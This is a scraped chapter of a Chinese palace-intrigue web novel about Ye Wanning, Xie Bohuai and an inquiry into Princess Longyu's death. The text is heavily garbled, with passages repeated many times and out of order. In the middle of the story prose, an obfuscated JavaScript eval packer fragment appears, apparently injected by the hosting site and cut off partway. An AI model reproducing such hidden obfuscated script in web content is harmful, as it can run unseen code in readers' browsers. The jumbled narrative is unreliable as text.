云芝紧紧握着主子的手腕,直到外边传来折竹的说话声,主仆两个才敢去开门。 “怎么回事?”叶婉宁压着嗓子问。 有巡逻的侍卫过来,同样看向折竹。 “此人在夫人屋外鬼鬼祟祟,我本来想抓个活口,但他身手敏捷,只好就地解决了。”折竹说完,看向窗纸上的洞,向侍卫发难,“你们是怎么巡逻的,竟然有人敢来偷窥,你们眼睛不要可以丢了。” 皇陵的这些侍卫,平日里倦怠惯了,只有宫里来了人,才会打起精神干活。平常谁都不认真,毕竟皇陵里住的活人,和死了没差。 现在被折竹训斥,他们抖成筛子,毕竟眼前的妇人不简单,这可是谢泊淮的妇人。要是得罪了谢泊淮,他们全都完蛋。 “是我们不好,没有及时发现。接下来我们一定看守好前院后院,绝对不会让人惊扰了夫人,您大可以安心休息。”侍卫首领赔笑脸道。 叶婉宁不想在这里生事,毕竟江嬷嬷还住在这里,“算了,我没那个力气和你们生气。不过你们要好好查查,这是谁的探子,竟然敢在皇陵里造次。” 她想着还好没出事,只是这一晚,注定不敢睡了。 次日天刚蒙蒙亮,他们便出发回京城。 离开皇陵十里路,折竹才敢停下来道,“昨儿夜里的探子,多半是宫里的,如果小的当时不杀了人,指不定被他听到什么。当场把人杀了,宫里也不会追究,毕竟没人会和大人撕破脸。” “宫里的?”叶婉宁想了想,心头像压了一块石头,“是我冲动了。” 江嬷嬷说得对,像谢令娴这种人,身边怎么可能没有眼线。 或许就是有人特意放谢令娴出来,让谢令娴找到她,她自然会去找江嬷嬷证实。 这一步步,勾着她做了一件件事。 她来皇陵不是秘密,日后如何说这个事?供不供出谢令娴? 这都是要细细推敲的。 叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 在叶婉宁屏息静气,准备随时喊人时,透着月光的窗纸突然溅了一层黑色,若不是有人应声倒地,都不会联想到窗上的是血。 云芝紧紧握着主子的手腕,直到外边传来折竹的说话声,主仆两个才敢去开门。 “怎么回事?”叶婉宁压着嗓子问。 有巡逻的侍卫过来,同样看向折竹。 “此人在夫人屋外鬼鬼祟祟,我本来想抓个活口,但他身手敏捷,只好就地解决了。”折竹说完,看向窗纸上的洞,向侍卫发难,“你们是怎么巡逻的,竟然有人敢来偷窥,你们眼睛不要可以丢了。” 皇陵的这些侍卫,平日里倦怠惯了,只有宫里来了人,才会打起精神干活。平常谁都不认真,毕竟皇陵里住的活人,和死了没差。 现在被折竹训斥,他们抖成筛子,毕竟眼前的妇人不简单,这可是谢泊淮的妇人。要是得罪了谢泊淮,他们全都完蛋。 “是我们不好,没有及时发现。接下来我们一定看守好前院后院,绝对不会让人惊扰了夫人,您大可以安心休息。”侍卫首领赔笑脸道。 叶婉宁不想在这里生事,毕竟江嬷嬷还住在这里,“算了,我没那个力气和你们生气。不过你们要好好查查,这是谁的探子,竟然敢在皇陵里造次。” 她想着还好没出事,只是这一晚,注定不敢睡了。 次日天刚蒙蒙亮,他们便出发回京城。 离开皇陵十里路,折竹才敢停下来道,“昨儿夜里的探子,多半是宫里的,如果小的当时不杀了人,指不定被他听到什么。当场把人杀了,宫里也不会追究,毕竟没人会和大人撕破脸。” “宫里的?”叶婉宁想了想,心头像压了一块石头,“是我冲动了。” 江嬷嬷说得对,像谢令娴这种人,身边怎么可能没有眼线。 或许就是有人特意放谢令娴出来,让谢令娴找到她,她自然会去找江嬷嬷证实。 这一步步,勾着她做了一件件事。 她来皇陵不是秘密,日后如何说这个事?供不供出谢令娴? 这都是要细细推敲的。 叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 在叶婉宁屏息静气,准备随时喊人时,透着月光的窗纸突然溅了一层黑色,若不是有人应声倒地,都不会联想到窗上的是血。 云芝紧紧握着主子的手腕,直到外边传来折竹的说话声,主仆两个才敢去开门。 “怎么回事?”叶婉宁压着嗓子问。 有巡逻的侍卫过来,同样看向折竹。 “此人在夫人屋外鬼鬼祟祟,我本来想抓个活口,但他身手敏捷,只好就地解决了。”折竹说完,看向窗纸上的洞,向侍卫发难,“你们是怎么巡逻的,竟然有人敢来偷窥,你们眼睛不要可以丢了。” 皇陵的这些侍卫,平日里倦怠惯了,只有宫里来了人,才会打起精神干活。平常谁都不认真,毕竟皇陵里住的活人,和死了没差。 现在被折竹训斥,他们抖成筛子,毕竟眼前的妇人不简单,这可是谢泊淮的妇人。要是得罪了谢泊淮,他们全都完蛋。 “是我们不好,没有及时发现。接下来我们一定看守好前院后院,绝对不会让人惊扰了夫人,您大可以安心休息。”侍卫首领赔笑脸道。 叶婉宁不想在这里生事,毕竟江嬷嬷还住在这里,“算了,我没那个力气和你们生气。不过你们要好好查查,这是谁的探子,竟然敢在皇陵里造次。” 她想着还好没出事,只是这一晚,注定不敢睡了。 次日天刚蒙蒙亮,他们便出发回京城。 离开皇陵十里路,折竹才敢停下来道,“昨儿夜里的探子,多半是宫里的,如果小的当时不杀了人,指不定被他听到什么。当场把人杀了,宫里也不会追究,毕竟没人会和大人撕破脸。” “宫里的?”叶婉宁想了想,心头像压了一块石头,“是我冲动了。” 江嬷嬷说得对,像谢令娴这种人,身边怎么可能没有眼线。 或许就是有人特意放谢令娴出来,让谢令娴找到她,她自然会去找江嬷嬷证实。 这一步步,勾着她做了一件件事。 她来皇陵不是秘密,日后如何说这个事?供不供出谢令娴? 这都是要细细推敲的。 叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 在叶婉宁屏息静气,准备随时喊人时,透着月光的窗纸突然溅了一层黑色,若不是有人应声倒地,都不会联想到窗上的是血。 云芝紧紧握着主子的手腕,直到外边传来折竹的说话声,主仆两个才敢去开门。 “怎么回事?”叶婉宁压着嗓子问。 有巡逻的侍卫过来,同样看向折竹。 “此人在夫人屋外鬼鬼祟祟,我本来想抓个活口,但他身手敏捷,只好就地解决了。”折竹说完,看向窗纸上的洞,向侍卫发难,“你们是怎么巡逻的,竟然有人敢来偷窥,你们眼睛不要可以丢了。” 皇陵的这些侍卫,平日里倦怠惯了,只有宫里来了人,才会打起精神干活。平常谁都不认真,毕竟皇陵里住的活人,和死了没差。 现在被折竹训斥,他们抖成筛子,毕竟眼前的妇人不简单,这可是谢泊淮的妇人。要是得罪了谢泊淮,他们全都完蛋。 “是我们不好,没有及时发现。接下来我们一定看守好前院后院,绝对不会让人惊扰了夫人,您大可以安心休息。”侍卫首领赔笑脸道。 叶婉宁不想在这里生事,毕竟江嬷嬷还住在这里,“算了,我没那个力气和你们生气。不过你们要好好查查,这是谁的探子,竟然敢在皇陵里造次。” 她想着还好没出事,只是这一晚,注定不敢睡了。 次日天刚蒙蒙亮,他们便出发回京城。 离开皇陵十里路,折竹才敢停下来道,“昨儿夜里的探子,多半是宫里的,如果小的当时不杀了人,指不定被他听到什么。当场把人杀了,宫里也不会追究,毕竟没人会和大人撕破脸。” “宫里的?”叶婉宁想了想,心头像压了一块石头,“是我冲动了。” 江嬷嬷说得对,像谢令娴这种人,身边怎么可能没有眼线。 或许就是有人特意放谢令娴出来,让谢令娴找到她,她自然会去找江嬷嬷证实。 这一步步,勾着她做了一件件事。 她来皇陵不是秘密,日后如何说这个事?供不供出谢令娴? 这都是要细细推敲的。 叶婉宁现在只想快点见到谢泊淮,想到谢泊淮,她才会有感全感。 “折竹,你别直接回城。”叶婉宁想了想。 “您是怕有人会拦着我们?”折竹也想到了。 “指不定,现在就有人跟着我们。”叶婉宁让折竹去附近的镇子上。 到了镇上后,主仆三个进了一家客栈,折竹找到店小二打听,询问哪里有医馆,自称主子病了。 店小二很热情,“从这里一直往南走,拐一个弯就能看到。你家夫人严重吗?” “就是累的,多谢小哥,我去了。”折竹跑去请了大夫,等他请来大夫,便和店小二多定了一日的房。 而大夫走的时候,折竹可以确认,确实有人跟着他们。 “夫人,我们现在该怎么办?”折竹问,“若是有人想要以此为难我们,让您进宫去解释,还需要想个由头。” “明儿一早,你赶马车离开,但你不要回京城,一直在镇子外边绕。我们现在只能拖,等你家大人来了,问题便迎刃而解。”叶婉宁去皇陵那么大的事,谢泊淮知道了肯定会找来。 叶婉宁现在不敢轻举妄动,就怕一个不小心带来麻烦。 第205章 隔墙有耳 天色大亮后,叶婉宁焦心地等着谢泊淮。 云芝端来早膳,“夫人先吃一点,不管怎么样,咱们在这里住着,没人敢来寻麻烦。” “你也吃。”叶婉宁看向窗外,“云芝你说,义母的死,到底是谁害的?” 她很想去问问谢令娴,到底都知道什么,但离职告诉她,不能去找谢令娴。 压抑着心头的想法,人没了胃口,吃了半碗粥,便不吃了。 此时城门口,谢泊淮碰见了门口候着的内侍,瞧见了人,他直接停下。 “回大人,昨儿圣上知道谢夫人突然去了皇陵,不知是怎么回事,派奴才在这里候着,好问一嘴。”内侍浅笑着,“不是什么大事,您这是要出城吗?” “正好,我要去接我夫人,既然你有话要问她,便一块儿去吧。”谢泊淮道。 “这不好吧?” “没什么不好,又没见不得人的事,有你跟着一块儿,皇上也能放心点。”最后三个字,谢泊淮特意加重咬字。 在这里等着,不就是为了抓叶婉宁的漏洞,皇上到底不是先帝,做不到对他完全放心。 谢泊淮让人找来马车,内侍只好跟着一块去了。 等他们见到折竹,再一块去了客栈。 叶婉宁瞧见谢泊淮,刚松一口气,又看到谢泊淮身边的内侍,当即沉下心来。 “这位是皇上身边的黄公公,皇上不放心你去皇陵,特意让黄公公来问一下,你去皇陵做什么,不妨直接说,没事的。”谢泊淮走到叶婉宁边上,一只手揽在叶婉宁肩头上,身子微微倾斜,唇不动地压声道,“和他实话实说。” 本来叶婉宁还在思索,要怎么说,既然谢泊淮让她说实话,应该是折竹送的信到了谢泊淮手里。 叶婉宁便如实说了,“正好公公来了,我本来打算回京城后,要进宫一趟。我实在不知,被严加看管的逆王妃能够出来,还能与我胡说八道一通。公公也知道,我与义母感情深,听到她可能是被人害的,自然坐不住,想去皇陵问问江嬷嬷是什么情况。” “原来是这样。”谢泊淮先接话,“这可是个大事,不仅牵扯到守卫问题,还涉及隆玉公主之死。黄公公,事关重大,我们一块进宫去。” 黄公公没想到是这个结果,但谢泊淮夫妇都这么说了,他只能说好,毕竟事关重大,他一个内侍无法做决定。 一行人就这样进宫去。 正好皇上刚下朝,叶婉宁和谢泊淮在仁政殿里见到皇上。 这会太子和几位 大臣也在,叶婉宁第一次经历这种场面,若不是身边有个谢泊淮,她真不知道怎么办。 她把在白马寺遇到谢令娴的事,再次说了一遍,“回圣上,就是这么一回事。臣妇也不清楚,为什么逆王妃还能跑出来。但如果她说的是真的,还请皇上彻查此事。” 看守谢令娴的人,是皇上亲自派去的。 如果此事不是皇上授意,就是皇上身边人被收买了。想到可能是前者,几位大臣大气不敢喘,心想皇上要是对付谢泊淮,这可是铁锤对铁锤,他们最好别牵扯进去。但如果是后者,那问题就严重了。 殿内静了片刻,直到皇上发怒,“到底是谁那么大的胆子,竟然敢把人放出来蛊惑人心?来人啊,派御林军去庙里,把所有守卫和逆王妃都带到府衙审问,此事不查个清楚,朕一个都不会放过!” “禀皇上,此事还牵扯到隆玉公主之死。隆玉公主在民间颇得民心,既然有线索,不如交给微臣来彻查。”谢泊淮主动请令。 “可是子谦,你如今是摄政王,公务繁忙,哪里还有空处理这个事?”皇上没有答应,“还是让镇府司去办,你也能放心的,是吧?” 谢泊淮:“回皇上,镇府司办事,微臣确实放心。不过隆玉公主是微臣妻子的义母,也就是微臣的长辈。不管怎么样,微臣也该为了孝心出份力。” 皇上明显不想翻陈年旧账,就算隆玉公主的死有问题,也就仁政殿这些人知道,传不到外边去。 但谢泊淮去查,那就不一样。 万一谢泊淮查出皇上现在重用的人,皇上该如何处置? 顺着谢泊淮的意思,把人给处置了,那皇上还有威信吗? 可是拒绝谢泊淮,皇上现在做不到。 “行,那就让你来办。太子,你也跟着一起,正好和子谦学学怎么办事。”皇上让太子一块,是为了能从谢泊淮手里知道消息,有些事才好插手。 太子出来应了好,谢泊淮也没拒绝。 众人离开仁政殿时,太子特意跟了过来,“实在没想到,父皇身边的人,会这般没用。谢大人,父皇的皇位来得突然,你说到底该怎么办,才能坐稳皇位?” “太子殿下,微臣只懂为官之道,只会忠君爱国,其余的实在不清楚。圣上要做仁君,对天下百姓都是好事,想来日久见人心,总会被百姓们看到圣上的良苦用心。”谢泊淮说话滴水不漏。 “也是,很多事不是一朝一夕能够改变的。”太子说完叹口气,“既然如此,咱们一块为父皇好好办事,为他分忧。” 谢泊淮说是这样。 一行人出了宫门,谢泊淮带着叶婉宁上马车,驶了没多久,周尚书的马车追了过来。 就是周尚书这么耿直的人,在这会都来劝两句,“隆玉公主的死已经是过去的事,逆王妃那一定要查清楚,其余的你心里有数。” “周尚书,你什么时候变圆滑了?”谢泊淮现在看到周尚书都要嘲讽一下,“这话别人来说还是正常,你来说,我都起鸡皮疙瘩,以为白天见鬼了。” “去你娘的谢泊淮,老夫还不是看在你的救命之恩上,才多说两句。你要是不听,有你哭的时候!走走走,我们走,狗咬吕洞宾,不识好人心,我真是吃饱没事干,才来说这个话。”周尚书气鼓鼓地走了。 谢泊淮却乐呵呵地笑了,目光对上叶婉宁后,再摇了摇头,“咱们回家说。”隔墙有耳。 大臣也在,叶婉宁第一次经历这种场面,若不是身边有个谢泊淮,她真不知道怎么办。 她把在白马寺遇到谢令娴的事,再次说了一遍,“回圣上,就是这么一回事。臣妇也不清楚,为什么逆王妃还能跑出来。但如果她说的是真的,还请皇上彻查此事。” 看守谢令娴的人,是皇上亲自派去的。 如果此事不是皇上授意,就是皇上身边人被收买了。想到可能是前者,几位大臣大气不敢喘,心想皇上要是对付谢泊淮,这可是铁锤对铁锤,他们最好别牵扯进去。但如果是后者,那问题就严重了。 殿内静了片刻,直到皇上发怒,“到底是谁那么大的胆子,竟然敢把人放出来蛊惑人心?来人啊,派御林军去庙里,把所有守卫和逆王妃都带到府衙审问,此事不查个清楚,朕一个都不会放过!” “禀皇上,此事还牵扯到隆玉公主之死。隆玉公主在民间颇得民心,既然有线索,不如交给微臣来彻查。”谢泊淮主动请令。 “可是子谦,你如今是摄政王,公务繁忙,哪里还有空处理这个事?”皇上没有答应,“还是让镇府司去办,你也能放心的,是吧?” 谢泊淮:“回皇上,镇府司办事,微臣确实放心。不过隆玉公主是微臣妻子的义母,也就是微臣的长辈。不管怎么样,微臣也该为了孝心出份力。” 皇上明显不想翻陈年旧账,就算隆玉公主的死有问题,也就仁政殿这些人知道,传不到外边去。 但谢泊淮去查,那就不一样。 万一谢泊淮查出皇上现在重用的人,皇上该如何处置? 顺着谢泊淮的意思,把人给处置了,那皇上还有威信吗? 可是拒绝谢泊淮,皇上现在做不到。 “行,那就让你来办。太子,你也跟着一起,正好和子谦学学怎么办事。”皇上让太子一块,是为了能从谢泊淮手里知道消息,有些事才好插手。 太子出来应了好,谢泊淮也没拒绝。 众人离开仁政殿时,太子特意跟了过来,“实在没想到,父皇身边的人,会这般没用。谢大人,父皇的皇位来得突然,你说到底该怎么办,才能坐稳皇位?” “太子殿下,微臣只懂为官之道,只会忠君爱国,其余的实在不清楚。圣上要做仁君,对天下百姓都是好事,想来日久见人心,总会被百姓们看到圣上的良苦用心。”谢泊淮说话滴水不漏。 “也是,很多事不是一朝一夕能够改变的。”太子说完叹口气,“既然如此,咱们一块为父皇好好办事,为他分忧。” 谢泊淮说是这样。 一行人出了宫门,谢泊淮带着叶婉宁上马车,驶了没多久,周尚书的马车追了过来。 就是周尚书这么耿直的人,在这会都来劝两句,“隆玉公主的死已经是过去的事,逆王妃那一定要查清楚,其余的你心里有数。” “周尚书,你什么时候变圆滑了?”谢泊淮现在看到周尚书都要嘲讽一下,“这话别人来说还是正常,你来说,我都起鸡皮疙瘩,以为白天见鬼了。” “去你娘的谢泊淮,老夫还不是看在你的救命之恩上,才多说两句。你要是不听,有你哭的时候!走走走,我们走,狗咬吕洞宾,不识好人心,我真是吃饱没事干,才来说这个话。”周尚书气鼓鼓地走了。 谢泊淮却乐呵呵地笑了,目光对上叶婉宁后,再摇了摇头,“咱们回家说。”隔墙有耳。 大臣也在,叶婉宁第一次经历这种场面,若不是身边有个谢泊淮,她真不知道怎么办。 她把在白马寺遇到谢令娴的事,再次说了一遍,“回圣上,就是这么一回事。臣妇也不清楚,为什么逆王妃还能跑出来。但如果她说的是真的,还请皇上彻查此事。” 看守谢令娴的人,是皇上亲自派去的。 如果此事不是皇上授意,就是皇上身边人被收买了。想到可能是前者,几位大臣大气不敢喘,心想皇上要是对付谢泊淮,这可是铁锤对铁锤,他们最好别牵扯进去。但如果是后者,那问题就严重了。 殿内静了片刻,直到皇上发怒,“到底是谁那么大的胆子,竟然敢把人放出来蛊惑人心?来人啊,派御林军去庙里,把所有守卫和逆王妃都带到府衙审问,此事不查个清楚,朕一个都不会放过!” “禀皇上,此事还牵扯到隆玉公主之死。隆玉公主在民间颇得民心,既然有线索,不如交给微臣来彻查。”谢泊淮主动请令。 “可是子谦,你如今是摄政王,公务繁忙,哪里还有空处理这个事?”皇上没有答应,“还是让镇府司去办,你也能放心的,是吧?” 谢泊淮:“回皇上,镇府司办事,微臣确实放心。不过隆玉公主是微臣妻子的义母,也就是微臣的长辈。不管怎么样,微臣也该为了孝心出份力。” 皇上明显不想翻陈年旧账,就算隆玉公主的死有问题,也就仁政殿这些人知道,传不到外边去。 但谢泊淮去查,那就不一样。 万一谢泊淮查出皇上现在重用的人,皇上该如何处置? 顺着谢泊淮的意思,把人给处置了,那皇上还有威信吗? 可是拒绝谢泊淮,皇上现在做不到。 “行,那就让你来办。太子,你也跟着一起,正好和子谦学学怎么办事。”皇上让太子一块,是为了能从谢泊淮手里知道消息,有些事才好插手。 太子出来应了好,谢泊淮也没拒绝。 众人离开仁政殿时,太子特意跟了过来,“实在没想到,父皇身边的人,会这般没用。谢大人,父皇的皇位来得突然,你说到底该怎么办,才能坐稳皇位?” “太子殿下,微臣只懂为官之道,只会忠君爱国,其余的实在不清楚。圣上要做仁君,对天下百姓都是好事,想来日久见人心,总会被百姓们看到圣上的良苦用心。”谢泊淮说话滴水不漏。 “也是,很多事不是一朝一夕能够改变的。”太子说完叹口气,“既然如此,咱们一块为父皇好好办事,为他分忧。” 谢泊淮说是这样。 一行人出了宫门,谢泊淮带着叶婉宁上马车,驶了没多久,周尚书的马车追了过来。 就是周尚书这么耿直的人,在这会都来劝两句,“隆玉公主的死已经是过去的事,逆王妃那一定要查清楚,其余的你心里有数。” “周尚书,你什么时候变圆滑了?”谢泊淮现在看到周尚书都要嘲讽一下,“这话别人来说还是正常,你来说,我都起鸡皮疙瘩,以为白天见鬼了。” “去你娘的谢泊淮,老夫还不是看在你的救命之恩上,才多说两句。你要是不听,有你哭的时候!走走走,我们走,狗咬吕洞宾,不识好人心,我真是吃饱没事干,才来说这个话。”周尚书气鼓鼓地走了。 谢泊淮却乐呵呵地笑了,目光对上叶婉宁后,再摇了摇头,“咱们回家说。”隔墙有耳。 大臣也在,叶婉宁第一次经历这种场面,若不是身边有个谢泊淮,她真不知道怎么办。 她把在白马寺遇到谢令娴的事,再次说了一遍,“回圣上,就是这么一回事。臣妇也不清楚,为什么逆王妃还能跑出来。但如果她说的是真的,还请皇上彻查此事。” 看守谢令娴的人,是皇上亲自派去的。 如果此事不是皇上授意,就是皇上身边人被收买了。想到可能是前者,几位大臣大气不敢喘,心想皇上要是对付谢泊淮,这可是铁锤对铁锤,他们最好别牵扯进去。但如果是后者,那问题就严重了。 殿内静了片刻,直到皇上发怒,“到底是谁那么大的胆子,竟然敢把人放出来蛊惑人心?来人啊,派御林军去庙里,把所有守卫和逆王妃都带到府衙审问,此事不查个清楚,朕一个都不会放过!” “禀皇上,此事还牵扯到隆玉公主之死。隆玉公主在民间颇得民心,既然有线索,不如交给微臣来彻查。”谢泊淮主动请令。 “可是子谦,你如今是摄政王,公务繁忙,哪里还有空处理这个事?”皇上没有答应,“还是让镇府司去办,你也能放心的,是吧?” 谢泊淮:“回皇上,镇府司办事,微臣确实放心。不过隆玉公主是微臣妻子的义母,也就是微臣的长辈。不管怎么样,微臣也该为了孝心出份力。” 皇上明显不想翻陈年旧账,就算隆玉公主的死有问题,也就仁政殿这些人知道,传不到外边去。 但谢泊淮去查,那就不一样。 万一谢泊淮查出皇上现在重用的人,皇上该如何处置? 顺着谢泊淮的意思,把人给处置了,那皇上还有威信吗? 可是拒绝谢泊淮,皇上现在做不到。 “行,那就让你来办。太子,你也跟着一起,正好和子谦学学怎么办事。”皇上让太子一块,是为了能从谢泊淮手里知道消息,有些事才好插手。 太子出来应了好,谢泊淮也没拒绝。 众人离开仁政殿时,太子特意跟了过来,“实在没想到,父皇身边的人,会这般没用。谢大人,父皇的皇位来得突然,你说到底该怎么办,才能坐稳皇位?” “太子殿下,微臣只懂为官之道,只会忠君爱国,其余的实在不清楚。圣上要做仁君,对天下百姓都是好事,想来日久见人心,总会被百姓们看到圣上的良苦用心。”谢泊淮说话滴水不漏。 “也是,很多事不是一朝一夕能够改变的。”太子说完叹口气,“既然如此,咱们一块为父皇好好办事,为他分忧。” 谢泊淮说是这样。 一行人出了宫门,谢泊淮带着叶婉宁上马车,驶了没多久,周尚书的马车追了过来。 就是周尚书这么耿直的人,在这会都来劝两句,“隆玉公主的死已经是过去的事,逆王妃那一定要查清楚,其余的你心里有数。” “周尚书,你什么时候变圆滑了?”谢泊淮现在看到周尚书都要嘲讽一下,“这话别人来说还是正常,你来说,我都起鸡皮疙瘩,以为白天见鬼了。” “去你娘的谢泊淮,老夫还不是看在你的救命之恩上,才多说两句。你要是不听,有你哭的时候!走走走,我们走,狗咬吕洞宾,不识好人心,我真是吃饱没事干,才来说这个话。”周尚书气鼓鼓地走了。 谢泊淮却乐呵呵地笑了,目光对上叶婉宁后,再摇了摇头,“咱们回家说。”隔墙有耳。 大臣也在,叶婉宁第一次经历这种场面,若不是身边有个谢泊淮,她真不知道怎么办。 她把在白马寺遇到谢令娴的事,再次说了一遍,“回圣上,就是这么一回事。臣妇也不清楚,为什么逆王妃还能跑出来。但如果她说的是真的,还请皇上彻查此事。” 看守谢令娴的人,是皇上亲自派去的。 如果此事不是皇上授意,就是皇上身边人被收买了。想到可能是前者,几位大臣大气不敢喘,心想皇上要是对付谢泊淮,这可是铁锤对铁锤,他们最好别牵扯进去。但如果是后者,那问题就严重了。 殿内静了片刻,直到皇上发怒,“到底是谁那么大的胆子,竟然敢把人放出来蛊惑人心?来人啊,派御林军去庙里,把所有守卫和逆王妃都带到府衙审问,此事不查个清楚,朕一个都不会放过!” “禀皇上,此事还牵扯到隆玉公主之死。隆玉公主在民间颇得民心,既然有线索,不如交给微臣来彻查。”谢泊淮主动请令。 “可是子谦,你如今是摄政王,公务繁忙,哪里还有空处理这个事?”皇上没有答应,“还是让镇府司去办,你也能放心的,是吧?” 谢泊淮:“回皇上,镇府司办事,微臣确实放心。不过隆玉公主是微臣妻子的义母,也就是微臣的长辈。不管怎么样,微臣也该为了孝心出份力。” 皇上明显不想翻陈年旧账,就算隆玉公主的死有问题,也就仁政殿这些人知道,传不到外边去。 但谢泊淮去查,那就不一样。 万一谢泊淮查出皇上现在重用的人,皇上该如何处置? 顺着谢泊淮的意思,把人给处置了,那皇上还有威信吗? 可是拒绝谢泊淮,皇上现在做不到。 “行,那就让你来办。太子,你也跟着一起,正好和子谦学学怎么办事。”皇上让太子一块,是为了能从谢泊淮手里知道消息,有些事才好插手。 太子出来应了好,谢泊淮也没拒绝。 众人离开仁政殿时,太子特意跟了过来,“实在没想到,父皇身边的人,会这般没用。谢大人,父皇的皇位来得突然,你说到底该怎么办,才能坐稳皇位?” “太子殿下,微臣只懂为官之道,只会忠君爱国,其余的实在不清楚。圣上要做仁君,对天下百姓都是好事,想来日久见人心,总会被百姓们看到圣上的良苦用心。”谢泊淮说话滴水不漏。 “也是,很多事不是一朝一夕能够改变的。”太子说完叹口气,“既然如此,咱们一块为父皇好好办事,为他分忧。” 谢泊淮说是这样。 一行人出了宫门,谢泊淮带着叶婉宁上马车,驶了没多久,周尚书的马车追了过来。 就是周尚书这么耿直的人,在这会都来劝两句,“隆玉公主的死已经是过去的事,逆王妃那一定要查清楚,其余的你心里有数。” “周尚书,你什么时候变圆滑了?”谢泊淮现在看到周尚书都要嘲讽一下,“这话别人来说还是正常,你来说,我都起鸡皮疙瘩,以为白天见鬼了。” “去你娘的谢泊淮,老夫还不是看在你的救命之恩上,才多说两句。你要是不听,有你哭的时候!走走走,我们走,狗咬吕洞宾,不识好人心,我真是吃饱没事干,才来说这个话。”周尚书气鼓鼓地走了。 谢泊淮却乐呵呵地笑了,目光对上叶婉宁后,再摇了摇头,“咱们回家说。”隔墙有耳。 大臣也在,叶婉宁第一次经历这种场面,若不是身边有个谢泊淮,她真不知道怎么办。 她把在白马寺遇到谢令娴的事,再次说了一遍,“回圣上,就是这么一回事。臣妇也不清楚,为什么逆王妃还能跑出来。但如果她说的 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皇上明显不想翻陈年旧账,就算隆玉公主的死有问题,也就仁政殿这些人知道,传不到外边去。 但谢泊淮去查,那就不一样。 万一谢泊淮查出皇上现在重用的人,皇上该如何处置? 顺着谢泊淮的意思,把人给处置了,那皇上还有威信吗? 可是拒绝谢泊淮,皇上现在做不到。 “行,那就让你来办。太子,你也跟着一起,正好和子谦学学怎么办事。”皇上让太子一块,是为了能从谢泊淮手里知道消息,有些事才好插手。 太子出来应了好,谢泊淮也没拒绝。 众人离开仁政殿时,太子特意跟了过来,“实在没想到,父皇身边的人,会这般没用。谢大人,父皇的皇位来得突然,你说到底该怎么办,才能坐稳皇位?” “太子殿下,微臣只懂为官之道,只会忠君爱国,其余的实在不清楚。圣上要做仁君,对天下百姓都是好事,想来日久见人心,总会被百姓们看到圣上的良苦用心。”谢泊淮说话滴水不漏。 “也是,很多事不是一朝一夕能够改变的。”太子说完叹口气,“既然如此,咱们一块为父皇好好办事,为他分忧。” 谢泊淮说是这样。 